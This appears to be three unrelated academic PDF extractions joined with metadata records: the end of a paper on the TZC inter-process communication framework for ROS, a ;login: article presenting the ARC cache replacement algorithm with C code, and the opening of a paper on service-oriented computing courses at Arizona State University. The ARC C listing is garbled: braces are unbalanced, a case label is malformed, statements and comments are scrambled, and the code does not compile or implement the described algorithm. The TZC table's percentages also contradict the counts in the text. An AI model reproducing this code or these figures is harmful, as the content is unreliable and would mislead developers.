Furthermore, we show two special results with histograms in Figure 8. The result for Ach is shown in orange and the result for TZC-RT is shown in blue. Both of them are for the test case of 4MB messages and 8 subscribers. As we can see, the results show obvious periodicity, because multiple subscribers are nearly working in sequence on real-time system. The period among the peaks is approximately the execution time for a single subscriber. The period for Ach (orange) is about 1.1ms, which is mainly caused by serializing the 4MB messages; the period for TZC-RT (blue) is about 12us.
B. Reliability
To compare the reliability of different methods, we also count the number of messages received by each subscriber during the performance experiment.
Figure 9 shows some of the results. The results from the real-time group is omitted because all messages are successfully received with Ach and TZC-RT. As we can see, as the number of subscribers increases, more messages are lost no matter which method is used. However, the success rates are still relatively high using our TZC framework. This is because CPUs spend less time copying and serializing messages when using TZC, which may lead to a higher possibility of successful communication. This is the key idea of the TZC framework. Particularly when using TZC-ROS2, subscribers can always receive all messages. This is because the default QoS configure of DDS makes ROS2 more reliable than ROS when transmitting small messages.
C. Compatibility
TZC is easily integrable with current ROS middleware, which is reflected in two aspects of the process. First, nearly all ROS message types can be supported by TZC and a significant number of them result in reduced latency. Six commonly used ROS meta-packages relating to messages are tested, including common_msgs, image_transport_plugins, neonavigation_msgs, tuw_msgs, astuff_sensor_msgs, and automotive_autonomy_msgs. The supported result is shown in Table II. As we can see, there are 358 message types within these packages. Among them, 104 of them contain variable-length arrays, which are potentially large messages and need TZC support. 98 of them can be supported, which means at least one of the variable-length arrays is of a fixed-length type. Among the 6 unsupported message types, 3 of them use strings as identifications or debugging information and the other 3 are associated with KeyValue.
<table>
<thead>
<tr>
<th>Number</th>
<th>Total</th>
<th>Need Supported</th>
<th>Supported</th>
<th>Not Supported</th>
</tr>
</thead>
<tbody>
<tr>
<td>Percent (%/Total)</td>
<td>100%</td>
<td>98%</td>
<td>29.1%</td>
<td>27.4%</td>
</tr>
<tr>
<td>Percent (%/Need)</td>
<td>-</td>
<td>100%</td>
<td>94.2%</td>
<td>5.8%</td>
</tr>
</tbody>
</table>
Second, only a minor part of the code needs to be changed when applying TZC. We have applied TZC to several ROS packages, mainly those associated with images and point clouds, and fewer than 100 lines of code need to be changed.
D. Applications
To show the improvements in robotic performance because of reduced latency, we highlight the performance on two latency-sensitive applications.
At the first application shown in Figure 1, the TurtleBot initially moves forward at a uniform speed. During this time, images are periodically captured and published to four different nodes. The first node logs the time stamps of the received images. The other three nodes try to recognize whether a red, green, or yellow light has been lit up. Once there is a lit red light recognized, the node will inform the TurtleBot to stop moving forward. For better comparison, the red light is turned on by a pair of laser switches that are triggered when the TurtleBot crosses a certain line.
We record the brake distance $L$, which is measured between the stop position and the line that triggers the laser switch. This distance can be divided into four parts, shown in Figure 10. The first part $L_1$ is caused when the latency $T_1$ from the laser switch to the recognition node receives the image. The third part $L_3$ is caused by the recognition algorithm. The fourth part $L_4$ is caused by the TurtleBot’s deceleration process. Among these parts, $L_2$ directly reflects the middleware communication latency and the other parts are approximately constant. Therefore, the difference in $L$ reflects the reduced latency.

The comparison result shows that the difference in $L$ is about 10 cm with (53 cm) or without (63 cm) the TZC framework. Furthermore, this application is easy to translate to automatic driving or navigation scenarios. Analogically, when an automobile moves at 60 km/h (which is about 27.8 times the speed of the TurtleBot in the experiment), the same reduced latency causes the difference of the brake distance to be 2.78 meters.
We highlight the second application in Figure 11. A similar experimental principle to that in the first application is used. The TurtleBot rotates counterclockwise in situ. Once there is a lit red light recognized, the node will inform the TurtleBot to stop rotation. The result shows that when using TZC, the TurtleBot stops about $30^\circ$ after the red light, but when using ROS, the TurtleBot rotates once more and stops about $60^\circ$ after the red light. This is because of the reliability issue. With this practical workload, CPUs are busier than the benchmarks and the image with a lit red light is easily discarded by ROS since more new messages have arrived. The result shows that TZC is more reliable and efficient.

V. CONCLUSION AND FUTURE WORK
We have presented an improved IPC framework called TZC to reduce the latency. By designing a novel partial serialization algorithm and combining the advantages of the socket-based and the shared memory IPC methods, the overall communication latency remains constant when the message size grows.
We have integrated TZC with ROS and ROS2. The benchmark evaluation shows that TZC can reduce the overhead of IPC for large messages by two or three orders of magnitude. We also highlight the performance on two latency-sensitive applications with TurtleBot2. Due to the efficiency and reliability improved by TZC, the performance of the applications are obviously improved. Thus, we show that TZC provides an efficient IPC framework for latency-sensitive applications.
Currently, our TZC framework only supports IPC on the same machine. To simultaneously enable communication among different machines, we must synchronize the shared memory regions on the related machines. This is our future work. Another future work is to automatically transform a ROS or ROS2 module into a TZC module. It is promising by using program analysis techniques.
REFERENCES
|
{"Source-Url": "https://export.arxiv.org/pdf/1810.00556", "len_cl100k_base": 6802, "olmocr-version": "0.1.53", "pdf-total-pages": 8, "total-fallback-pages": 0, "total-input-tokens": 25448, "total-output-tokens": 8141, "length": "2e12", "weborganizer": {"__label__adult": 0.0005164146423339844, "__label__art_design": 0.0004544258117675781, "__label__crime_law": 0.0006284713745117188, "__label__education_jobs": 0.0005955696105957031, "__label__entertainment": 0.00012540817260742188, "__label__fashion_beauty": 0.00021898746490478516, "__label__finance_business": 0.00024700164794921875, "__label__food_dining": 0.0004780292510986328, "__label__games": 0.0008931159973144531, "__label__hardware": 0.00907135009765625, "__label__health": 0.0008802413940429688, "__label__history": 0.0004220008850097656, "__label__home_hobbies": 0.0001723766326904297, "__label__industrial": 0.0015048980712890625, "__label__literature": 0.00028204917907714844, "__label__politics": 0.0003614425659179687, "__label__religion": 0.00058746337890625, "__label__science_tech": 0.3857421875, "__label__social_life": 0.00010317564010620116, "__label__software": 0.0147247314453125, "__label__software_dev": 0.5791015625, "__label__sports_fitness": 0.0005402565002441406, "__label__transportation": 0.002197265625, "__label__travel": 0.00025153160095214844}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 35434, 0.01897]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 35434, 0.4846]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 35434, 0.905]], "google_gemma-3-12b-it_contains_pii": [[0, 4077, false], [4077, 10043, null], [10043, 15049, null], [15049, 18070, null], [18070, 24311, null], [24311, 26495, null], [26495, 31451, null], [31451, 35434, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4077, true], [4077, 10043, null], [10043, 15049, null], [15049, 18070, null], [18070, 24311, null], [24311, 26495, null], [26495, 31451, null], [31451, 35434, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 35434, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 35434, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 35434, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 35434, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 35434, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 35434, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 35434, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 35434, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 35434, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 35434, null]], "pdf_page_numbers": [[0, 4077, 1], [4077, 10043, 2], [10043, 15049, 3], [15049, 18070, 4], [18070, 24311, 5], [24311, 26495, 6], [26495, 31451, 7], [31451, 35434, 8]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 35434, 0.10526]]}
|
olmocr_science_pdfs
|
2024-12-10
|
2024-12-10
|
3214e84e7bc654089487c1b00b16ec3b589386e0
|
inside:
STORAGE SYSTEMS
Megiddo & Modha: One Up on LRU
one up on LRU
Introduction
The concept of caching dates back (at least) to von Neumann’s classic 1946 paper that laid the foundation for modern practical computing. Today, caching is used widely in storage systems, databases, Web servers, middleware, processors, file systems, disk drives, RAID controllers, operating systems, and in varied and numerous other applications.
Generically, a cache is a fast, usually small, memory in front of a presumably slower but larger auxiliary memory. For our purposes, both memories handle uniformly sized items called pages. We also assume demand paging. Host requests for pages are first directed to the cache for quick retrieval and, if the page is not in the cache, then to the auxiliary memory. If an uncached page is requested, one of the pages currently in the cache must be replaced (often requiring that the page be flushed back to the auxiliary memory, if it was written to by the host). A replacement policy determines which page is evicted. LRU is the most widely used replacement policy.
Until recently, attempts to outperform LRU in practice have not fared well because of overhead issues and the need to pre-tune various parameters. Adaptive Replacement Cache (ARC) is a new adaptive, self-tuning replacement policy with a high hit ratio and low overhead. It responds in real time to changing access patterns, continually balancing between the recency and frequency features of the workload, and demonstrates that adaptation eliminates the need for workload-specific pre-tuning. Like LRU, ARC can be easily implemented. Even better, its per-request running time is essentially independent of the cache size. Unlike LRU, ARC is “scan-tolerant” in that it allows one-time sequential requests to pass through without polluting the cache. ARC leads to substantial performance gains over LRU for a wide range of workloads and cache sizes.
ARC’s Paradigm
Suppose that a cache can hold c pages. The ARC scheduler maintains a cache directory that contains 2c pages, c pages in the cache and c history pages. ARC’s cache directory, referred to as DBL, maintains two lists: L1 and L2. The first list contains pages that have been seen only once recently, while L2 contains pages that have been seen at least twice recently. The replacement policy for managing DBL is: Replace the LRU page in L1 if it contains exactly c pages; otherwise, replace the LRU page in L2.
The ARC policy builds on DBL by carefully selecting c pages from the 2c pages in DBL. The basic idea is to divide L1 into a top T1 and bottom B1 and to divide L2 into top T2 and bottom B2. The pages in T1 are more recent than those in B1; likewise for T2 and B2. The algorithm includes a target size target_T1 for the T1 list. The replacement policy is simple: Replace the LRU page in T1, if T1 contains at least target_T1 pages; otherwise, replace the LRU page in T2.
The adaptation comes from the fact that the target size target_T1 is continuously varied in response to an observed workload. The adaptation rule is also simple: Increase target_T1, if a hit in the history B1 is observed; similarly, decrease target_T1, if a hit in the history B2 is observed.
LRU
Consider a very simple implementation of an LRU cache to motivate ARC. A typical implementation maintains a cache directory comprising cache directory blocks (CDB), often with a structure like this:
struct CDB {
long page_number; /* page's ID number */
struct cache_page *pointer; /* page's location in cache */
int ARC_where; /* not used for LRU */
int dirty; /* if 'dirty', write before replacing */
struct CDB *lrunext; /* for doubly linked list */
struct CDB *lruprev; /* for doubly linked list */
};
struct CDB *L; /* the LRU list */
long LLength; /* length of list L */
LRU caches with c pages require c CDBs. The following code manages the LRU list and is invoked for each page request:
/* keep the cache descriptor list, L, in LRU order */
struct CDB *
LRU (long page_number, int dirty) {
struct CDB *temp;
temp = locate(page_number); /* search L for page #page_number */
if (temp != NULL) /* page in cache? */
remove_from_list(temp); /* page in cache: remove now, reinsert later */
else { /* page is not in cache ... */
if (LLength == c) { /* cache full? */
temp = lru_remove(L); /* cache full: remove the LRU page at end of list */
if (temp->dirty) /* dirty -> page out changed pages */
destage(temp);
} else { /* cache not yet full */
temp = get_new_CDB(); /* populate & bookkeep */
temp->pointer = get_new_page();
LLength++;
}
temp->page_number = page_number; /* bookkeep */
temp->dirty = dirty; /* bookkeep */
fetch(page_number, temp->pointer, dirty); /* put new page in place */
}
mru_insert(temp, L); /* this page now goes to head of LRU queue */
return temp;
}
We leave the simple routines locate, remove_from_list, mru_insert, lru_remove, destage, get_new_CDB, get_new_page, and fetch as an exercise. If the page is dirty, that is, a write request, then the fetch routine simply uses the changed page supplied by the host if the page is a read request, then the fetch routine reads the page from the auxiliary memory. Any existing LRU implementation already has these routines.
**ARC**
ARC requires 2*c CDBs. The extra directory entries maintain a history of certain recently evicted pages. The key new idea is the use of this history to guide an adaptation process. The cache directory consists of four disjoint doubly linked LRU lists along with their lengths:
struct CDB *T1, *B1, *T2, *B2;
long T1Length, T2Length, B1Length, B2Length;
Any given CDB will occupy a spot on one of the four lists. The field ARC_where will be set to 0, 1, 2, or 3, depending on the list in which it appears (T1, B1, T2, or B2, respectively).
The T1 and T2 lists describe c pages currently resident in the cache. The B1 and B2 lists contain c, a “history” of pages that were very recently evicted from the cache.
Furthermore, the T1 and B1 lists contain those pages that have been seen only once recently, while the T2 and B2 lists contain those pages that have been seen at least twice recently. The B1 list contains those pages evicted from T1, while B2 contains those pages that are evicted from T2.
The T1 and B1 lists capture “recency” information, while the T2 and B2 lists capture “frequency” information.
The algorithm adaptively – in a workload-specific fashion – balances between the recency and frequency lists to achieve a high hit ratio. It tries to maintain the number of pages in the T1 list to contain target_T1 pages. This parameter is adapted on virtually every request.
When the cache is full, the page to be evicted will be either the LRU page in T1 or the LRU page in T2.
This code demonstrates the page replacement procedure:
```c
#define _T1_ 0
#define _T2_ 2
#define _B1_ 1
#define _B2_ 3
struct cache_page *
replace() {
struct CDB* temp;
if (T1Length >= max(1,target_T1)) { /* T1's size exceeds target? */
/* yes: T1 is too big */
temp = lru_remove(T1); /* grab LRU from T1 */
mru_insert(temp, B1); /* put it on B1 */
temp->ARC_where = _B1_; /* note that fact */
T1Length—; B1Length++; /* bookkeep */
} else {
/* no: T1 is not too big */
temp = lru_remove(T2); /* grab LRU page of T2 */
mru_insert(temp, B2); /* put it on B2 */
temp->ARC_where = _B2_; /* note that fact */
T2Length—; B2Length++; /* bookkeep */
}
if (temp->dirty) destage(temp); /* if dirty, evict before overwrite */
return temp->pointer;
}
```
The main algorithm comprises five cases which correspond to whether a page request is found in one of the four lists or in none of them. Only hits in T1 and T2 are actual cache hits. Hits in B1 and B2 are "phantom" hits that affect adaptation.
In particular, the cache parameter target_T1 is incremented for a hit in B1 and decremented for a hit in B2. This means that B1 hits favor recency while B2 hits favor frequency. The cumulative effect of the continual adaptation leads to an algorithm that adapts quickly to evolving workloads.
If a page is not in any of the four lists, then it is put at the MRU position in T1. From there it ultimately makes its way to the LRU position in T1 and eventually B1, unless requested once again prior to being evicted from B1, so it never enters T2 or B2.
Hence, a long sequence of read-once requests passes through T1 and B1 without flushing out possibly important pages in T2. In this sense, ARC is “scan-tolerant.” Arguably, when a scan begins, fewer hits occur in B1 compared to B2. Hence, by the effect of the adaptation of target_T1, the list T2 will grow at the expense of the list T1. This further accentuates the tolerance of ARC to scans.
If the list B1 produces a lot of hits, then ARC grows T1 to make room for what appears to be localized requests, and, hence, favors recency. If the list B2 produces a lot of hits, then ARC grows T2 to favor frequency. ARC continually balances between recency and frequency in a dynamic, real-time, and self-tuning fashion, making it very suitable for workloads with a priori unknown characteristics or workloads that fluctuate from recency to frequency. ARC requires no magic parameters that need to be manually tuned or reset.
Here’s the straightforward code that implements this procedure:
ARC(long page_number, int dirty) {
struct CDB *temp, *temp2;
temp = locate(page_number); /* find the requested page */
if (temp != NULL) { /* found in cache directory */
switch (temp->ARC_where) { /* yes, which list? */
case _T1_:
T1Length--; T2Length++;
/* fall through */
case _T2_
remove_from_list(temp); /* take off whichever list */
mru_insert(temp, T2); /* seen twice recently, put on T2 */
temp->ARC_where = _T2_; /* note that fact */
if (dirty) temp->dirty = dirty; /* bookkeep dirty */
break;
case _B1_:
case _B2_
if (temp->ARC_where == _B1_){ /* B1 hit: favor recency */
B1Length--; /* bookkeep */
target_T1 = min(target_T1 + max(B2Length/B1Length, 1), c); /* adapt the target size */
} else { /* B2 hit: favor frequency */
target_T1 = max(target_T1 - max(B1Length/B2Length, 1), 0); /* adapt the target size */
B2Length--; /* bookkeep */
if (dirty) destage(temp); /* if dirty, evict before overwrite */
if (temp->dirty) destage(temp); /* if dirty, evict before overwrite */
T1Length--; /* bookkeep */
temp->pointer = replace(); /* find a place to put new page */
break;
} else { /* page is not in cache directory */
if (T1Length + B1Length == c) { /* B1 + T1 full? */
temp = lru_remove(B1); /* yes: take page off B1 */
/* bookkeep that */
B1Length--; /* bookkeep */
if (T1Length < c) { /* Still room in T1? */
temp->pointer = replace(); /* find new place to put page */
/* no: B1 must be empty */
} else { /* take page off B1 */
if (temp->dirty) destage(temp); /* if dirty, evict before overwrite */
/* bookkeep that */
} /* if dirty, evict before overwrite */
} else { /* cache full? */
/* find and reuse B2's LRU */
temp = lru_remove(B2); /* cache directory not full, easy case */
temp->page_number = page_number;
temp->dirty = dirty;
mru_insert(temp, T2); /* seen twice recently, put on T2 */
temp->ARC_where = _T2_; /* note that fact */
fetch(page_number, temp->pointer, dirty); /* load page into cache */
break;
} /* cache not full, easy case */
} else { /* cache full? */
if (T1Length + T2Length + B1Length + B2Length >= c) { /* B1 + T1 have less than c pages */
/* Yes, cache full: */
if (T1Length + T2Length + B1Length + B2Length == 2*c) { /* directory is full */
B2Length--; /* cache not full, easy case */
temp = lru_remove(B2); /* new place for page */
/* cache directory not full, easy case */
} else {
temp = get_new_CDB(); /* new place for page */
temp->pointer = replace(); /* new place for page */
temp->ARC_where = _T1_; /* seen once recently, put on T1 */
T1Length++; /* bookkeep: */
break;
} /* new place for page */
} else { /* Yes, cache full: */
/* find new place for page */
temp = get_new_CDB(); /* new place for page */
temp->pointer = get_new_page();
mru_insert(temp, T1); /* seen once recently, put on T1 */
T1Length++; /* bookkeep: */
temp->ARC_where = _T1_; /* seen once recently, put on T1 */
temp->page_number = page_number;
temp->dirty = dirty;
fetch(page_number, temp->pointer, dirty); /* load page into cache */
} /* new place for page */
}
}
}
}
}
The Proof Is in the Pudding
Although ARC uses four lists, the total amount of movement between lists is comparable to LRU. The space overhead of ARC due to extra cache directory entries is only marginally higher – typically less than 1%. Hence, we say that ARC is low-overhead.
To assess ARC’s performance, we conducted trace-driven simulations, results of which populate Table 1. ARC outperforms LRU for a wide range of real-life workloads – sometimes quite dramatically. For brevity, we have shown only one typical cache size for each workload. In fact, ARC outperforms LRU across the entire range of cache sizes for every workload in our test!
Traces P1–P14 were collected by using VTrace over several months from Windows NT workstations running real-life applications. ConCat was obtained by concatenating the traces P1–P14, while Merge(P) was obtained by merging them. DS1 is a seven-day trace taken from a database server at a major insurance company. The page size for all these (slightly older) traces was 512 bytes. We captured a trace of the SPC1 (Storage Performance Council) synthetic benchmark, which is designed to contain long sequential scans in addition to random accesses. The page size for this trace was 4KB. Finally, we considered three traces – S1, S2, and S3 – that were disk-read accesses initiated by a large commercial search engine in response to various Web search requests over several hours. The page size for these traces was also 4KB. The trace Merge(S) was obtained by merging the traces S1–S3 using timestamps on each of the requests.
Conclusion
ARC is an easily implemented, new, self-tuning, low-overhead, scan-tolerant cache replacement policy that seems to outperform LRU on a wide range of real-life workloads. We have outlined a simple implementation that may be adapted to a variety of applications. The reader interested in a formal presentation of ARC, a detailed literature review, and extensive simulation results can consult the full paper, “ARC: A Self-Tuning, Low Overhead Replacement Cache,” in USENIX Conference on File and Storage Technologies (FAST’03), March 31–April 2, 2003, San Francisco, CA (http://www.usenix.org/events/fast03/).
<table>
<thead>
<tr>
<th>Workload</th>
<th>Size (MB)</th>
<th>LRU (% Hits)</th>
<th>ARC (% Hits)</th>
</tr>
</thead>
<tbody>
<tr>
<td>P1</td>
<td>16</td>
<td>16.55</td>
<td>28.26</td>
</tr>
<tr>
<td>P2</td>
<td>16</td>
<td>18.47</td>
<td>27.38</td>
</tr>
<tr>
<td>P3</td>
<td>16</td>
<td>3.57</td>
<td>17.12</td>
</tr>
<tr>
<td>P4</td>
<td>16</td>
<td>5.24</td>
<td>11.24</td>
</tr>
<tr>
<td>P5</td>
<td>16</td>
<td>6.73</td>
<td>14.27</td>
</tr>
<tr>
<td>P6</td>
<td>16</td>
<td>4.24</td>
<td>23.84</td>
</tr>
<tr>
<td>P7</td>
<td>16</td>
<td>3.45</td>
<td>13.77</td>
</tr>
<tr>
<td>P8</td>
<td>16</td>
<td>17.18</td>
<td>27.51</td>
</tr>
<tr>
<td>P9</td>
<td>16</td>
<td>8.28</td>
<td>19.73</td>
</tr>
<tr>
<td>P10</td>
<td>16</td>
<td>2.48</td>
<td>9.46</td>
</tr>
<tr>
<td>P11</td>
<td>16</td>
<td>20.92</td>
<td>26.48</td>
</tr>
<tr>
<td>P12</td>
<td>16</td>
<td>8.93</td>
<td>15.94</td>
</tr>
<tr>
<td>P13</td>
<td>16</td>
<td>7.83</td>
<td>16.60</td>
</tr>
<tr>
<td>P14</td>
<td>16</td>
<td>15.73</td>
<td>20.52</td>
</tr>
<tr>
<td>ConCat</td>
<td>16</td>
<td>14.38</td>
<td>21.67</td>
</tr>
<tr>
<td>Merge(P)</td>
<td>128</td>
<td>38.05</td>
<td>39.91</td>
</tr>
<tr>
<td>DS1</td>
<td>1024</td>
<td>11.65</td>
<td>22.52</td>
</tr>
<tr>
<td>SPC1</td>
<td>4096</td>
<td>9.19</td>
<td>20.00</td>
</tr>
<tr>
<td>S1</td>
<td>2048</td>
<td>23.71</td>
<td>33.43</td>
</tr>
<tr>
<td>S2</td>
<td>2048</td>
<td>25.91</td>
<td>40.68</td>
</tr>
<tr>
<td>S3</td>
<td>2048</td>
<td>25.26</td>
<td>40.44</td>
</tr>
<tr>
<td>Merge(S)</td>
<td>4096</td>
<td>27.62</td>
<td>40.44</td>
</tr>
</tbody>
</table>
Table 1. At-a-glance comparison of LRU and ARC for various workloads. It can be seen that ARC outperforms LRU, sometimes quite dramatically.
|
{"Source-Url": "https://www.usenix.org/system/files/login/articles/1180-Megiddo.pdf", "len_cl100k_base": 4592, "olmocr-version": "0.1.49", "pdf-total-pages": 6, "total-fallback-pages": 0, "total-input-tokens": 15863, "total-output-tokens": 4909, "length": "2e12", "weborganizer": {"__label__adult": 0.0003294944763183594, "__label__art_design": 0.000347137451171875, "__label__crime_law": 0.0004892349243164062, "__label__education_jobs": 0.0003437995910644531, "__label__entertainment": 0.00011092424392700197, "__label__fashion_beauty": 0.0001728534698486328, "__label__finance_business": 0.0005326271057128906, "__label__food_dining": 0.0003786087036132813, "__label__games": 0.0007090568542480469, "__label__hardware": 0.007221221923828125, "__label__health": 0.0005326271057128906, "__label__history": 0.0002658367156982422, "__label__home_hobbies": 0.00014126300811767578, "__label__industrial": 0.0008482933044433594, "__label__literature": 0.00021255016326904297, "__label__politics": 0.00026798248291015625, "__label__religion": 0.0003921985626220703, "__label__science_tech": 0.21728515625, "__label__social_life": 6.031990051269531e-05, "__label__software": 0.0301666259765625, "__label__software_dev": 0.73828125, "__label__sports_fitness": 0.00033783912658691406, "__label__transportation": 0.0005445480346679688, "__label__travel": 0.00022172927856445312}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 17859, 0.03523]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 17859, 0.18555]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 17859, 0.844]], "google_gemma-3-12b-it_contains_pii": [[0, 56, false], [56, 3440, null], [3440, 5976, null], [5976, 9567, null], [9567, 14204, null], [14204, 17859, null]], "google_gemma-3-12b-it_is_public_document": [[0, 56, true], [56, 3440, null], [3440, 5976, null], [5976, 9567, null], [9567, 14204, null], [14204, 17859, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 17859, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 17859, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 17859, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 17859, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 17859, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 17859, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 17859, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 17859, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 17859, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 17859, null]], "pdf_page_numbers": [[0, 56, 1], [56, 3440, 2], [3440, 5976, 3], [5976, 9567, 4], [9567, 14204, 5], [14204, 17859, 6]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 17859, 0.11881]]}
|
olmocr_science_pdfs
|
2024-11-25
|
2024-11-25
|
215c49bf322bb44b22d90c69a060eddd45927eb9
|
Service-Oriented Computing and Software Integration in Computing Curriculum
Yinong Chen¹ and Zhizheng Zhou²
¹School of Computing, Informatics, and Decision Systems Engineering, Arizona State University
Tempe, AZ 85287-8809, U.S.A.
²School of Computer Science and Technology, Shandong University of Finance and Economics
Shandong, China
Abstract — Web software development and cloud computing based on Service-Oriented Architecture (SOA) represent the latest parallel distributed computing theories, practices, and technologies. As a distributed software development diagram, SOA is being taught in many computer science programs. We do not suggest using SOA to replace the currently taught Object-Oriented Computing paradigm. As SOA is based on Object-Oriented Computing, we suggest teaching SOA as the continuation and extension. At Arizona State University, SOA paradigm is incorporated into our Computing Science program since 2006. This paper presents the topics of the related courses and the open resources created for the courses, which are available for public accesses, including textbooks, lecture presentation slides, tests and assignments, software tools, and a repository of components, services and applications.
Keywords – Service-oriented architecture, Robot as a Service, software integration, service repository, computing curriculum
I. INTRODUCTION
Software development has evolved for several generations from imperative, procedural, object-oriented, to distributed object-oriented computing paradigms [1][2]. As the emergence of Service-Oriented Architecture (SOA) and Service-Oriented Computing (SOC) [3][4][5], software development is shifting from distributed object-oriented development, represented by for example, CORBA [5] developed by OMG (Object Management Group) and Distributed Component Object Model (DCOM) [7] developed by Microsoft, to service-oriented development (SOD). SOA, SOC, and SOD have been adopted and supported by all major computer companies. The related technologies have been standardized by OASIS, W3C, and ISO [8]. Government agencies also adopted SOC in their system development [9].
Before proceeding further, we present the fundamental concepts used in the paper and in other literatures: SOA, SOC, SOD, and cloud computing [3][4][5][8].
A system is typically described by three aspects: architecture, interface, and behavior that defines the transformation of input to output. SOA addresses the architecture aspect, which considers a software system consisting of a collection of loosely coupled services that communicate with each other through standard interfaces and standard protocols [3][4]. These services are platform independent. Services can be published in public or private directories or repositories for software developers to compose their applications. As a software architecture, SOA is a conceptual model that concerns the organization and interfacing among the software components (services). It does not concern the development of operational software.
SOC on the other hand addresses the interface and behavior aspects of a system. SOC includes service interface such as WSDL and communication protocols such as SOAP and HTTP, computing concepts and principles, methods, algorithms, and coding.
SOD concerns the entire software development life cycle based on SOA and SOC, including requirement, specification, architecture design, composition, service discovery, service implementation, testing, evaluation, deployment, and maintenance in a given environment [8]. SOD also involves using the current technologies and tools to effectively produce operational software.
In the Computer Science program at the Arizona State University (ASU), particularly in the Software Engineering concentration, SOA, SOC, and SOD are taught in a number of courses, including the freshman course CSE101/FSE100 (Introduction to Engineering) [10], the sophomore course CSE240 (Introduction to Programming Languages) [2], senior course CSE445 (Distributed Software Development), and CSE446 (Software Integration and Engineering).
This paper will discuss CSE101/FSE100, CSE445 and CSE446, where parallel and distributed computing is the key topics of these courses. While teaching these courses, we collected and created abundance of resources, which are made available to all instructors and students around the world, including textbooks [2][8][10], syllabi [11][18][19], presentation slides, tests and assignments, a repository of sample services and applications for public accesses [23]. We will also present the outreach of the course in our partner universities in China.
In the rest of the paper, sections II presents the service-oriented robotics programming in CSE101/FSE100. Sections III and IV discuss the core topics of SOA, SOC, and SOD taught in CSE445 and CSE446.
Section V presents the repository of resources. Section VI outlines the textbook developed for the courses. Section VI shows, as an example, the enrollments history and evaluation scores of CSE 445/598.
II. SERVICE-ORIENTED ROBOTICS PROGRAMMING
CSE101 is a course required for all students in Computer Science program and Computer System Engineering program at Arizona State University. The course consists of one lecture hour and three lab hours each week for 15 weeks. The main tasks in the three lab hours are using service-oriented robotics development to learn the engineering design process. The development environment used is Microsoft Robotics Developer Studio (MRDS) and its Visual Programming Language (VPL) [12] and Web-based robotics programming environment developed at Arizona State University [17]. First released in 2006, MRDS and VPL laid an important milestone in service-oriented computing. VPL is architecture-driven and is a service-oriented programming language that allows students to develop services, deploy the services into a repository, and then use the services in the repository to develop workflow-based robotics applications.
MRDS is based on the .Net framework. VPL, C#, and Visual Basic can be used to program services as well as applications. MRDS support distributed and event-driven programming model. The services can be added into MRDS’s service repository. As a contribution to MRDS, ASU Repository has included a number services and applications that can be added into MRDS repository and made MRDS services.
We piloted the first offer of the service-oriented robotics development in CSE10 in Fall 2006. The course evolved to the form of today after eight years’ offerings. A number of resources have been developed to support the course, including syllabus [11], the lab manual [12], videos of sample robotics projects [11], a repository of services and sample applications [23]. Figure 1 shows the Web-based programming environment using the concept of Robot as a Service. As the services hide the hardware and programming details, it allows students to better understand different maze algorithms [21]. Using this simple Web environment, student can design an autonomous maze navigation algorithm, such as a short-distance-based greedy algorithm and a wall-following algorithm without prior programming knowledge. A maze navigation program can be written using a few drop-down commands. The virtual robot in the Web can communicate and synchronize with the physical robot to add excitement to the learners. After students have understood the algorithm, they can use VPL to write the program that can run in MSRD simulation environment and using physical NXT robot.
As the materials are easy to learn, exciting, and educational, we have proposed to teach the service-oriented robotics development as a part of the high school computing course. The proposal was funded by the U.S. Department of Education’s FIPSE program (2007 to 2010) [13], which leads to the implementation of the course in Coronado High School [14][15] and the summer Robotics Camps for high school students [16]. A teacher’s training camp has been established using the funding from FIPSE and from Arizona Science Foundation. Over 60 teachers has been trained since 2007, and the service-oriented robotics programming course has been disseminated in many high schools in Arizona through these teachers.
III. DISTRIBUTED SOFTWARE DEVELOPMENT
In the Computer Science (CS) program at ASU, there is a Software Engineering (SE) concentration. SE Students are required to take the following four courses, in addition to the required CS core courses:
- CSE445: Distributed Software Development
- CSE446: Software Integration and Engineering
• CSE460: Software Analysis and Design
• CSE464: Software Quality Assurance and Testing
